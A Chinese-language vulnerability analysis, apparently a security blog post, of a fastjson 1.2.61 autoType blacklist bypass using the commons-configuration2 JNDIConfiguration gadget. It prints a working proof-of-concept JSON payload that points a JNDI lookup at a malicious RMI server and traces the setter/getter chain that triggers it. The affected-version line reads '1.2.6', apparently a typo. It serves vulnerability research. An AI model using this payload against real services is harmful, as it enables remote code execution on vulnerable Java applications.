fastjson 1.2.61 远程代码执行漏洞分析(commons-configuration gadget)


在fastjson 1.2.61的版本中,增加了autoType的安全组件黑名单commons-configuration,成功绕过了黑名单限制,利用反序列化特性造成远程代码执行,该组件是java应用程序的配置管理类,用于协助管理各种格式的配置文件。

漏洞复现

Idea创建项目,选择maven,jdk版本1.8.0_73,在pom.xml中添加如下代码,自动加载依赖:

  • fastjson:1.2.60
  • commons-configuration2: 2.6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.60</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.6</version>
</dependency>
</dependencies>

同样的,按照上一篇文章文章中写的,搭建一个恶意的RMI服务,使之加载。
poc:

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}

-w1479

漏洞分析

上一篇文章中写了fastjson在反序列化json数据时,会自动调用其属性XX的setXXgetXX方法,如果其中有JNDI Reference注入漏洞,则可以造成RCE的效果。

在下面这段代码中,我们可以知道在使用JSON.parseObject反序列化json数据时,会调用所有属性的get方法,以及相关属性的set方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;

public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\"}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
}
}

从下图我们知道,这里没有设置age属性,但是getAge方法被调用了,且先调用set方法后调用get方法。
-w1118

再回过头来看这个poc:

1
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";

跟进这个组件的setPrefix方法:
-w982
再跟一下成员变量this.prefix
-w1370
所以漏洞成因就显而易见了,通过第一步的setPrefix种入成员变量this.prefix为恶意rmi服务地址,接着fastjson自动调用全部get方法,没有设置baseContext成员变量,自然就触发了:

1
(Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix)

那么问题来了,this.getContext()是怎么设置的呢?

1
2
3
public Context getContext() {
return this.context;
}

获取了成员变量this.context,在构造方法中我们可以看到一顿套娃的操作,无参构造函数调用单参数构造函数,调用双参数构造函数,将new InitialContext()赋给了成员变量this.context
-w1071
最终导致漏洞产生。

最后

漏洞影响fastjson版本:version <= 1.2.6。修复也就是多了个组件黑名单。

索然无味,仅仅对gadget chain进行了简单分析,对fastjson的关键代码分析欠缺,接下里的任务就是搞懂fastjson漏洞触发的条件以及原理。